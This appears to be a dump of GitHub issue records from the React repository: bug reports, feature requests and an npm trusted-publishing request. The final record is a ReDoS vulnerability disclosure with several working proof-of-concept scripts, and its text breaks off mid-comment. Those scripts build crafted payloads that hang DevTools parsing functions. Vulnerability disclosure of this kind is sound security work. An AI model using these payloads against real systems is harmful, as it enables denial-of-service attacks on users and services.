> Recent [supply chain attacks on npm](https://github.blog/security/supply-chain-security/our-plan-for-a-more-secure-npm-supply-chain/) have highlighted the need for stronger package publishing security. The September 2025 Shai-Hulud worm compromised 500+ packages through stolen maintainer tokens, showing the risks of token-based publishing.
>
> Trusted publishing helps by eliminating long-lived tokens that can be stolen or accidentally exposed; generating automatic provenance provides cryptographic proof of where/how packages are built; and is an industry standard adopted by `PyPI`, `RubyGems`, `crates.io`, `NuGet`, etc...
>
> `NPM` is [planning to deprecate legacy tokens](https://github.blog/security/supply-chain-security/our-plan-for-a-more-secure-npm-supply-chain/#h-npm-s-roadmap-for-hardening-package-publication) and make trusted publishing the preferred method.
>
> If assistance is welcome, please let me know and I can assist and/or get
> further assistance as needed.
>
> ## Reference
> References:
>
> * [NPM trusted publishing documentation](https://docs.npmjs.com/trusted-publishers)
> * [Announcement blog post](https://github.blog/changelog/2025-07-31-npm-trusted-publishing-with-oidc-is-generally-available/)
> * [Provenance statements guide](https://docs.npmjs.com/generating-provenance-statements)
> | closed | not_planned | Cevan00 | 2025-10-22T01:37:02 | 2026-01-27T06:09:36 | 2026-01-27T06:09:36 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {
"+1": 1
} | 3 | false | 2026-03-29T04:52:10.296355 | ||
facebook | react | 34,939 | I_kwDOAJy2Ks7S84c9 | false | Bug: Dev hydration false-positive for equivalent class token sets | Proposed fix in PR: #34940
**React version:** 19.x (also reproducible on current `main`)
## Steps To Reproduce
1. Server-render markup where `class` values are **token-equivalent** but differ by whitespace/order/duplicates.
2. Hydrate on the client with the same tokens in a different order/spacing.
Minimal reproduction:
```jsx
import * as React from 'react';
import * as ReactDOMClient from 'react-dom/client';
import * as ReactDOMServer from 'react-dom/server';
const container = document.createElement('div');
container.innerHTML = ReactDOMServer.renderToString(
<main className="foo bar bar" />
);
ReactDOMClient.hydrateRoot(
container,
<main className="bar foo" />,
{ onRecoverableError: () => {} } // surfaces the warning in DEV
);
```
CRLF variant:
```jsx
container.innerHTML = ReactDOMServer.renderToString(
<main className="flex\r\nitems-center" />
);
ReactDOMClient.hydrateRoot(container, <main className="flex items-center" />);
```
<img width="498" height="406" alt="CRLF hydration" src="https://github.com/user-attachments/assets/726131b8-e99e-4b33-a72e-d31f00d96add" />
## Link to code example
* Order/dupes/whitespace: [https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=order](https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=order)
* CRLF between tokens: [https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=crlf](https://codesandbox.io/p/sandbox/rprwrz?file=%2Findex.html&case=crlf)
> Open the Console to see the hydration warning (DEV build).
## The current behavior
In **DEV**, React logs a hydration attribute mismatch warning when the server and client `class` strings differ **only** by whitespace, token order, or duplicate tokens, even though they represent the same token set.
## The expected behavior
No warning. Per HTML, `class` is a **set of space-separated tokens**, so differences in whitespace, order, or duplicate tokens should be considered equivalent during hydration diffing in DEV.
**Specs:**
* ASCII whitespace (TAB/LF/FF/CR/SPACE): [https://infra.spec.whatwg.org/#ascii-whitespace](https://infra.spec.whatwg.org/#ascii-whitespace)
* `class` is a space-separated token set: [https://html.spec.whatwg.org/multipage/dom.html#global-attributes](https://html.spec.whatwg.org/multipage/dom.html#global-attributes)
**Why this matters:**
This false positive can be commonly triggered by:
- Windows line endings (CRLF) in multiline template literals
- Class-merging utilities (clsx, cn) with different evaluation order
- Different bundler/minifier behavior between server and client
**Proposed fix:**
Normalize both values before comparison (DEV-only):
```js
function normalizeClassForHydration(markup: mixed): string {
const s = normalizeMarkupForTextOrAttribute(markup);
const tokens = s.trim().split(HTML_SPACE_CLASS_SEPARATOR).filter(Boolean);
const unique = Array.from(new Set(tokens));
unique.sort();
return unique.join(' ');
}
```
This proposal:
- Handles whitespace per HTML spec (ASCII whitespace characters)
- Deduplicates tokens (matches DOMTokenList behavior)
- Sorts for order-independence (classes are unordered)
- Uses default lexicographic sort (UTF-16 code unit order), which is deterministic and locale-independent
- Reuses existing `normalizeMarkupForTextOrAttribute` for consistency
**What wouldn’t be suppressed**
- Missing/extra class tokens
- Non-ASCII whitespace that changes tokenization (e.g., NBSP)
- Any difference that affects layout/behavior
**Notes:** This is **DEV-only** (warning path). Production behavior is unaffected. A small DEV change to compare normalized token sets would avoid this false positive.
This should preserve React's ability to catch genuine mismatches while eliminating false positives for token-equivalent classes.
**Precedent:**
React already normalizes attributes during hydration for HTML parser behavior (see [44c32fc](https://github.com/facebook/react/commit/44c32fc) - CRLF normalization from 2017). This extends that pattern to handle `class`'s token-set semantics. | closed | not_planned | teamleaderleo | 2025-10-22T05:26:52 | 2026-01-27T07:57:37 | 2026-01-27T07:11:10 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {} | 3 | false | 2026-03-29T04:52:10.363884 | ||
facebook | react | 31,719 | I_kwDOAJy2Ks6iuU_D | false | Bug: Detached Elements Observed When Toggling Content with ReactDOM.createPortal() | We observed a possible memory leak when using `ReactDOM.createPortal()` to render components. The issue occurs when toggling the portal content between a `RadioGroup` and the text `Loading...`. If the `RadioGroup` is interacted with before toggling, some DOM elements are not properly cleaned up, leaving detached nodes in memory.
However, if no interaction happens with the `RadioGroup`, the content toggles without any memory issues.
React version: 18.3.1
## Steps To Reproduce
1. Visit the [JSFiddle example](https://jsfiddle.net/egz6jbx5/2/#&togetherjs=hoy8etANLl).
2. Click on the Load Content button to render the `RadioGroup`.
3. Interact with the `RadioGroup` by selecting the Other option. (eg: option B)
4. Click on the Unload Content button to remove the `RadioGroup`.
5. Open the Memory tab in the browser developer tools and trigger Garbage Collection.
6. Select the **Detached Elements** profiling type and take a snapshot of the memory to observe detached nodes.
Link to code example: [JSFiddle example](https://jsfiddle.net/egz6jbx5/2/#&togetherjs=hoy8etANLl)
## The current behavior
Detached elements are present in the memory snapshot after interacting with the `RadioGroup` and toggling it off. This indicates a potential memory leak caused by `ReactDOM.createPortal()`.
## The expected behavior
Detached nodes should not be present after toggling the `RadioGroup` and triggering garbage collection, regardless of interactions. | closed | not_planned | suraj-pachakar | 2024-12-10T12:56:47 | 2026-01-27T13:20:53 | 2026-01-27T13:20:53 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {} | 9 | false | 2026-03-29T04:52:10.434697 | ||
facebook | react | 16,744 | MDU6SXNzdWU0OTE5NTUzNzk= | false | Devtools: Allow saving and loading a profiler run as JSON | <!--
Note: if the issue is about documentation or the website, please file it at:
https://github.com/reactjs/reactjs.org/issues/new
-->
**Do you want to request a *feature* or report a *bug*?**
Feature
**What is the current behavior?**
Currently, a profiler run is lost when reloading/refreshing the react app. This makes it hard to compare profiler runs across changes to the react code and use the profiler in CI/CD situations.
**What is the expected behavior?**
Be able to download a completed profiler run as json. Be able to upload a profiler run to react devtools for review later. Be able to trigger react devtools profiler programmatically. Be able to save a react devtools profiler run programmatically.
**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**
React Devtools V4. | closed | completed | venku122 | 2019-09-11T00:17:56 | 2026-01-28T02:48:51 | 2019-09-11T15:54:40 | [
"Component: Developer Tools"
] | null | 0 | {} | 6 | false | 2026-03-29T04:52:10.498080 | ||
facebook | react | 35,647 | I_kwDOAJy2Ks7mUGCX | false | Bug: | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version:
## Steps To Reproduce
1.
2.
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
## The expected behavior
| closed | not_planned | gainzindia | 2026-01-28T07:35:51 | 2026-01-28T09:35:14 | 2026-01-28T09:35:14 | [
"Status: Unconfirmed"
] | null | 0 | {} | 0 | false | 2026-03-29T04:52:10.544778 | ||
facebook | react | 35,475 | I_kwDOAJy2Ks7iWW2F | false | Bug: React 19.2 component performance track causes side-effects in mobx -> add way to disable? | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: 19.2.x
## Steps To Reproduce
See https://github.com/mobxjs/mobx/issues/4607
The new component performance track causes side-effects (warnings) with mobx since the component performance tracks does a (deep) comparison of component properties.
This happens outside of a mobx reaction which causes the warning.
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
React 19.2.3 (warnings): https://codesandbox.io/p/sandbox/component-performace-tracks-mobx-warnings-c8wkwy
React 19.1.4 (no warnings): https://codesandbox.io/p/sandbox/component-performace-tracks-no-warnings-ttx7gt
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
Warnings logged since keys & values of component properties are enumerated in performance tracks, e.g.:
`[mobx] Observable 'someProp' being read outside a reactive context.`
## The expected behavior
No side effects -> no warnings.
Possible options:
Option 1: A way to disable component performance tracks
Option 2: No deep enumeration of property keys and values? | open | ahoisl | 2026-01-09T16:11:33 | 2026-01-27T15:57:51 | null | [
"Status: Unconfirmed"
] | null | 0 | {
"+1": 4
} | 1 | false | 2026-03-29T04:52:10.575480 | |||
facebook | react | 34,942 | I_kwDOAJy2Ks7S-h8z | false | [DevTools Bug]: React Developer Tools extension causes rendering exception | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: 18
extension version: 7.0.0
## Steps To Reproduce
- https://github.com/ant-design/ant-design/issues/55311#issuecomment-3404882699
- https://github.com/alibaba/hooks/issues/2864#issuecomment-3430931024
It works fine after closing the plugin
React Developer Tools extension has been updated recently. My browser automatically upgraded to the latest version 7.0.0. This issue also appeared. And after I tried to disable the extension, the page resumed normal operation.
https://github.com/ant-design/ant-design/issues/55251#issuecomment-3388638321
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
- [codesandbox](https://codesandbox.io/p/sandbox/ahooks-usevirtuallist-dkryqt)
- [reproduce](https://dkryqt.csb.app/)
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
React Developer Tools extension causes rendering exception
## The expected behavior
React Developer Tools does not affect rendering
| closed | not_planned | meet-student | 2025-10-22T08:10:53 | 2026-01-28T08:08:37 | 2026-01-28T08:08:37 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {
"+1": 2
} | 3 | false | 2026-03-29T04:52:10.620996 | ||
facebook | react | 35,651 | I_kwDOAJy2Ks7mbGY2 | false | Bug: Expected a suspended thenable | ⨯ Error: Expected a suspended thenable. This is a bug in React. Please file an issue.
at ignore-listed frames {
digest: '2559929398'
}
"react": "19.2.1",
"next version": "16.1.6",
repo:https://github.com/shubhamtak007/coinova
When routes changes above error came and whole page stop working.Basically when going to particular coin page from server side list. | open | shubhamtak007 | 2026-01-28T14:58:58 | 2026-01-28T15:06:37 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 0 | false | 2026-03-29T04:52:10.667146 | |||
facebook | react | 35,004 | I_kwDOAJy2Ks7Ubzum | false | Bug: React 19 Uncaught TypeError: Do not know how to serialize a BigInt | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: 19
## Steps To Reproduce
1. Set props with bigint
```ts
import { useCallback, useState } from 'react';
interface ServiceItem {
name: string;
regionIds: bigint[];
}
interface MachineItem {
name: string;
services: ServiceItem[];
}
interface MachineItemProps {
machine: MachineItem;
}
function Machine(props: MachineItemProps) {
return (
<>
<p>{props.machine.name}</p>
{props.machine.services.map(service => (
<p key={service.name}>{service.name}</p>
))}
</>
);
}
export default function Page() {
const [update, setUpdate] = useState(0);
const [machine, setMachine] = useState(() => {
return {
name: 'machine1',
services: [
{
name: 'service1',
regionIds: [31321968590458880n]
}
]
};
});
const onClick = useCallback(() => {
setUpdate(update => ++update);
setMachine(() => {
return {
name: 'machine2',
services: [
{
name: 'service2',
regionIds: [31321968590458881n]
}
]
};
});
}, []);
return (
<>
<Machine machine={machine} />
<button onClick={onClick}>Update {update}</button>
</>
);
}
```
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
https://codesandbox.io/p/sandbox/pedantic-shirley-cg3nf8
<!--
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## The current behavior
Throw exception
<img width="1920" height="911" alt="Image" src="https://github.com/user-attachments/assets/b4ccbbff-8aaf-4193-a001-a62e31f5e541" />
## The expected behavior
Do not throw exception | closed | completed | nuintun | 2025-10-29T02:18:26 | 2026-01-28T10:54:52 | 2026-01-28T10:54:52 | [
"Status: Unconfirmed"
] | null | 0 | {
"+1": 2,
"heart": 3
} | 4 | false | 2026-03-29T04:52:10.706070 | ||
facebook | react | 30,799 | I_kwDOAJy2Ks6T_j72 | false | [React 19] Upgrading React causes infinite refetching | ## Summary
The reproduction is using Relay, but I came as this seems closer to a bug in React than Relay.
https://stackblitz.com/@cometkim/collections/react-relay-suspend-loop
With this basic setup, using `useLazyLoadQuery` with `network-only` to make a new `fetch()` call on render. The code works fine in v18, but after upgrading to v19, it starts remounting an element infinitely.
- [React v18](https://stackblitz.com/edit/vitejs-vite-ingwz7?file=src%2Fmain.tsx): No issues
- [React v19](https://stackblitz.com/edit/vitejs-vite-ezhrrp?file=src%2Fmain.tsx): No differences, but the children including the suspense boundary is unexpectedly unmounted, resulting in an infinite refetch loop.
- [React v19 workaround 1](https://stackblitz.com/edit/vitejs-vite-jqbsjc?file=src%2Fmain.tsx): Removing `<StrictMode>` seems to solve the issue.
- [React v19 workaround 2](https://stackblitz.com/edit/vitejs-vite-56sxrz?file=src%2Fmain.tsx): Wrap the parent (which is just a context provider with nothing special) by one more `<Suspense>` boundary. It seems to do not make sense, but it works.
The expected behavior is that the `<Suspense>` boundary is retained stable, and the `<NetworkOnly>` is rendered after waiting for the QueryResource fulfilled.
However, this seems to me like the `<Suspense>` could suspend itself.
| open | cometkim | 2024-08-23T11:14:28 | 2026-01-28T11:07:50 | null | [
"React 19"
] | null | 0 | {
"+1": 13,
"heart": 4
} | 15 | false | 2026-03-29T04:52:10.754169 | |||
facebook | react | 34,834 | I_kwDOAJy2Ks7RRNYO | false | Bug: ESLint rules flag Date.now as an inpure function in a server component | I expect that the the eslint-plugin-react-hooks don't apply to server components.
React version: 19.2
## Steps To Reproduce
1. Introduce an inpure function in a server side component. E.g. the layout in a nextjs app
2. Run eslint with eslint-plugin-react-hooks@7
3. Notice error
```
`Date.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
~/src/inpure-demo/src/app/layout.tsx:25:15
23 | children: React.ReactNode;
24 | }>) {
> 25 | const now = Date.now();
| ^^^^^^^^^^ Cannot call impure function
26 | console.log("Rendering RootLayout at", now);
27 |
28 | return ( react-hooks/purity
```
Link to code example:
https://github.com/paulvanbrenk/inpure-error-nextjs
## The current behavior
Error about the inpure function in a server component
## The expected behavior
No error | open | paulvanbrenk | 2025-10-13T17:50:47 | 2026-01-29T09:20:44 | null | [
"Status: Unconfirmed"
] | null | 0 | {
"+1": 5,
"eyes": 1
} | 5 | false | 2026-03-29T04:52:10.829590 | |||
facebook | react | 34,858 | I_kwDOAJy2Ks7RnRsN | false | Bug: react-hooks/set-state-in-effect false positive on valid example in docs | **React version:** `react@19.2.0`, `eslint-plugin-react-hooks@7.0.0`
## Steps To Reproduce
1. Paste the valid sample from https://react.dev/reference/eslint-plugin-react-hooks/lints/set-state-in-effect#valid into a file.
2. Adjust to remove type-errors when using Typescript (should be irrelevant)
3. Perform linting with `eslint-plugin-react-hooks` and the `react-hooks/set-state-in-effect` rule enabled
Link to code example:
https://react.dev/reference/eslint-plugin-react-hooks/lints/set-state-in-effect#valid
```js
// ✅ setState in an effect is fine if the value comes from a ref
function Tooltip() {
const ref = useRef(null);
const [tooltipHeight, setTooltipHeight] = useState(0);
useLayoutEffect(() => {
const { height } = ref.current.getBoundingClientRect();
setTooltipHeight(height);
}, []);
}
```
Typescript variant, with usage:
```ts
export function Tooltip(): ReactElement {
const ref = useRef<HTMLDivElement>(null);
const [tooltipHeight, setTooltipHeight] = useState(0);
useLayoutEffect(() => {
const height = ref.current?.getBoundingClientRect().height ?? 0;
setTooltipHeight(height);
}, []);
return <div ref={ref}>{tooltipHeight}</div>;
}
```
Another similar example that also triggered this error:
```ts
function Foo(): ReactElement {
const ref = useRef<HTMLDivElement>(null);
const [isWithinBar, setIsWithinBar] = useState(false);
useLayoutEffect(() => {
setIsWithinBar(ref.current?.closest('.bar') != null);
}, []);
return <div ref={ref} className={isWithinBar ? 'variant-1' : 'variant-2'}>Foo</div>
}
```
## The current behavior
The code, straight out of the valid section of the docs, triggers an ESLint error of `react-hooks/set-state-in-effect`:
<img width="906" height="686" alt="Image" src="https://github.com/user-attachments/assets/95a3ce5d-1e0d-4e2b-ba69-be477bb62797" />
## The expected behavior
Valid usage of `useLayoutEffect` to do measurements and DOM checks via refs and setting state should not generate any errors. | open | Svish | 2025-10-15T07:28:35 | 2026-01-28T22:08:19 | null | [
"Status: Unconfirmed"
] | null | 0 | {
"+1": 3
} | 4 | false | 2026-03-29T04:52:10.863985 | |||
facebook | react | 35,025 | I_kwDOAJy2Ks7VC9rf | false | Bug: | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version:
## Steps To Reproduce
1.
2.
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
## The expected behavior
| closed | not_planned | yunier-a | 2025-10-31T10:22:54 | 2026-01-29T16:23:24 | 2026-01-29T16:23:24 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {
"heart": 2
} | 1 | false | 2026-03-29T04:52:10.901093 | ||
facebook | react | 35,490 | I_kwDOAJy2Ks7iwtx8 | false | Bug: Inefficient Regular Expression Complexity in react | ### Summary
A Regular Expression Denial of Service (ReDoS) vulnerability was identified in Facebook React within the react-devtools-shared package. The issue exists in the backend/utils.js component, specifically within the regular expressions used for parsing at lines 368, 369, 381, and 417. By providing a specially crafted input string to the DevTools backend, an attacker or a malicious website being inspected can trigger catastrophic backtracking. This leads to excessive CPU consumption and causes the browser tab or the DevTools process to become unresponsive, resulting in a Denial of Service (DoS).
### Details
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L368
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L369
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L381
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L417
### PoC
PoC for `line 368`:
```js
/**
* ReDoS PoC for regexId: 6 (Validated and Optimized)
*
* Target Regex: /\)+$/
* Dataflow Path: componentStack -> split('\n') -> trim() -> replace(/^\(+/) -> SINK: replace(/\)+$/)
* Path Constraints: Must pass Chrome stack format check
* Data Transformations: split('\n'), trim(), replace(/^\(+/, "")
*
* Generated Time: 2025-12-02
* Phase: Phase 3 - Optimized (2 iterations)
* Status: VALIDATED SUCCESS
*
* === VALIDATION RESULTS ===
* Phase 2 Result: FAILED (Not reaching target Sink)
* Phase 3 Iterations: 2
*
* Iteration 1: Added ':' to suffix to satisfy path constraint (url.indexOf(':') !== -1)
* Result: Reached Sink but insufficient time (1.455s < 2000ms)
*
* Iteration 2: Increased repeatTimes from 80,000 to 200,000
* Result: SUCCESS - Sink execution time 9.123s (Standard A: > 2000ms)
*
* Final Validation Metrics:
* - Sink Execution Time: 9.123s
* - Total Execution Time: ~9.5s
* - Success Criteria: Standard A (> 2000ms)
* - Production Ready: YES
*/
import { parseSourceFromComponentStack } from './utils.js';
console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 6");
console.log("[+] Vulnerable Regex: /\\)+$/");
// Using vulnerability report attack components to construct base payload
const prefix = "";
const infix = ")";
const suffix = "◎";
const repeatTimes = 200000; // Iteration 2: Increased from 80000 to 200000 (1455ms -> target 2000ms)
const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);
console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: componentStack (parameter)");
console.log("[+] Sink: Line 368, replace(/\\)+$/, \"\")");
console.log("[+] Transformations identified:");
console.log(" - split('\\n'): Splits string into array");
console.log(" - trim(): Removes whitespace");
console.log(" - replace(/^\\(+/, \"\"): Removes leading parentheses");
console.log("\n[+] Payload adjustment analysis:");
console.log(" - Original suffix '◎' does not contain \\n → unaffected by split()");
console.log(" - Suffix is not whitespace → unaffected by trim()");
console.log(" - No leading '(' in payload → unaffected by replace(/^\\(+/)");
console.log(" - PROBLEM: extractLocation requires ':' in payload (url.indexOf(':') !== -1)");
console.log(" - Strategy (Iteration 1): Add ':' before suffix to satisfy constraint");
// Add ':' to satisfy extractLocation constraint while maintaining ReDoS pattern
const final_payload = base_payload.substring(0, base_payload.length - 1) + ":◎";
console.log(`[+] Final payload length: ${final_payload.length} characters`);
console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);
console.time("ReDoS-Attack-Time");
try {
parseSourceFromComponentStack(final_payload);
console.log("\n[+] Function execution completed");
} catch (e) {
console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");
console.log("\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.");
console.log("\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.");
/* How to use:
* 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L368
* 2.Put poc.js and utils.js in the same folder
* 3.Enter the command in the terminal: node poc.js
* 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
```
PoC for `line 369`:
```js
/**
* ReDoS PoC for regexId: 7 (Validated - Phase 2 Success)
*
* Target Regex: /(at )?(.+?)(?::(\d+))?(?::(\d+))?$/
* Dataflow Path: componentStack -> split('\n') -> trim() -> replace(/^\(+/) -> replace(/\)+$/) -> SINK: .exec()
* Path Constraints: Must pass Chrome stack format check
* Data Transformations: split('\n'), trim(), replace(/^\(+/, ""), replace(/\)+$/, "")
*
* Generated Time: 2025-12-02
* Phase: Phase 2 - Validated (No iterations needed)
* Status: VALIDATED SUCCESS
*
* === VALIDATION RESULTS ===
* Phase 2 Result: SUCCESS (First attempt)
* Phase 3 Iterations: 0 (No optimization needed)
*
* Key Strategy: Replaced '\n' with '\r' in suffix to preserve '.' metacharacter non-matching
* behavior while avoiding split() transformation issues
*
* Final Validation Metrics:
* - Sink Execution Time: 3.061s
* - Total Execution Time: ~3.5s
* - Success Criteria: Standard B (> 1000ms)
* - Production Ready: YES
*/
import { parseSourceFromComponentStack } from './utils.js';
console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 7");
console.log("[+] Vulnerable Regex: /(at )?(.+?)(?::(\\d+))?(?::(\\d+))?$/");
// Using vulnerability report attack components to construct base payload
const prefix = "\u0000";
const infix = "\u0000:0";
const suffix_original = "\n!\n!";
const repeatTimes = 10000;
console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: componentStack (parameter)");
console.log("[+] Sink: Line 375, /(at )?(.+?)(?::(\\d+))?(?::(\\d+))?$/.exec()");
console.log("[+] Transformations identified:");
console.log(" - split('\\n'): Splits string into array");
console.log(" - trim(): Removes whitespace");
console.log(" - replace(/^\\(+/, \"\"): Removes leading parentheses");
console.log(" - replace(/\\)+$/, \"\"): Removes trailing parentheses");
console.log("\n[+] Payload adjustment analysis:");
console.log(" - Original suffix contains '\\n' → will be affected by split()");
console.log(" - Regex contains '.' metacharacter which does not match \\n");
console.log(" - Strategy: Replace \\n with \\r (carriage return) to maintain non-matching property");
const suffix_adjusted = suffix_original.replace(/\n/g, '\r');
console.log(` - Adjusted suffix: ${JSON.stringify(suffix_adjusted)}`);
const base_payload = prefix + infix.repeat(repeatTimes) + suffix_adjusted;
console.log(`[+] Base payload length: ${base_payload.length} characters`);
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);
console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);
console.time("ReDoS-Attack-Time");
try {
parseSourceFromComponentStack(final_payload);
console.log("\n[+] Function execution completed");
} catch (e) {
console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");
console.log("\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.");
console.log("\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.");
/* How to use:
* 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L369
* 2.Put poc.js and utils.js in the same folder
* 3.Enter the command in the terminal: node poc.js
* 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
```
PoC for `line 381`:
```js
/**
* ReDoS PoC for regexId: 10 (Validated and Optimized)
*
* Target Regex: /^\s*at .*(\S+:\d+|\(native\))/m
* Dataflow Path: componentStack -> SINK: .match() (direct, no transformations)
* Path Constraints: None (direct match on entry)
* Data Transformations: None
*
* Generated Time: 2025-12-02
* Phase: Phase 3 - Optimized (1 iteration)
* Status: VALIDATED SUCCESS
*
* === VALIDATION RESULTS ===
* Phase 2 Result: FAILED (Reached Sink but insufficient ReDoS time)
* Phase 3 Iterations: 1
*
* Iteration 1: Increased repeatTimes from 40,000 to 100,000
* Root Cause: Payload length insufficient to trigger prolonged backtracking (570ms < 2000ms)
* Strategy: Increase repeatTimes by 2.5x to reach target execution time
* Result: SUCCESS - Sink execution time 3.429s (Standard A: > 2000ms)
*
* Final Validation Metrics:
* - Sink Execution Time: 3.429s
* - Total Execution Time: ~3.8s
* - Success Criteria: Standard A (> 2000ms)
* - Production Ready: YES
*/
import { parseSourceFromComponentStack } from './utils.js';
console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 10");
console.log("[+] Vulnerable Regex: /^\\s*at .*(\\S+:\\d+|\\(native\\))/m");
// Using vulnerability report attack components to construct base payload
const prefix = "at ";
const infix = "\u0000";
const suffix = " ";
const repeatTimes = 100000; // Iteration 1: Increased from 40000 to 100000 (540ms -> target 2000ms)
const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);
console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: componentStack (parameter)");
console.log("[+] Sink: Line 459, componentStack.match(CHROME_STACK_REGEXP)");
console.log("[+] Note: This regex is checked FIRST, before any transformations");
console.log("[+] Transformations identified: NONE - direct match on entry");
console.log("\n[+] Payload adjustment analysis:");
console.log(" - No transformations in dataflow");
console.log(" - Original payload can be used directly");
console.log(" - Using original payload without modification");
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);
console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);
console.time("ReDoS-Attack-Time");
try {
parseSourceFromComponentStack(final_payload);
console.log("\n[+] Function execution completed");
} catch (e) {
console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");
console.log("\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.");
console.log("\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.");
/* How to use:
* 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L381
* 2.Put poc.js and utils.js in the same folder
* 3.Enter the command in the terminal: node poc.js
* 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
```
PoC for `line 417`:
```js
/**
* ReDoS PoC for regexId: 9 (Validated and Optimized)
*
* Target Regex: /((.*".+"[^@]*)?[^@]*)(?:@)/
* Dataflow Path: componentStack -> split('\n') -> trim() -> SINK: .replace()
* Path Constraints: Must fail Chrome stack format check (goes to Firefox path)
* Data Transformations: split('\n'), trim()
*
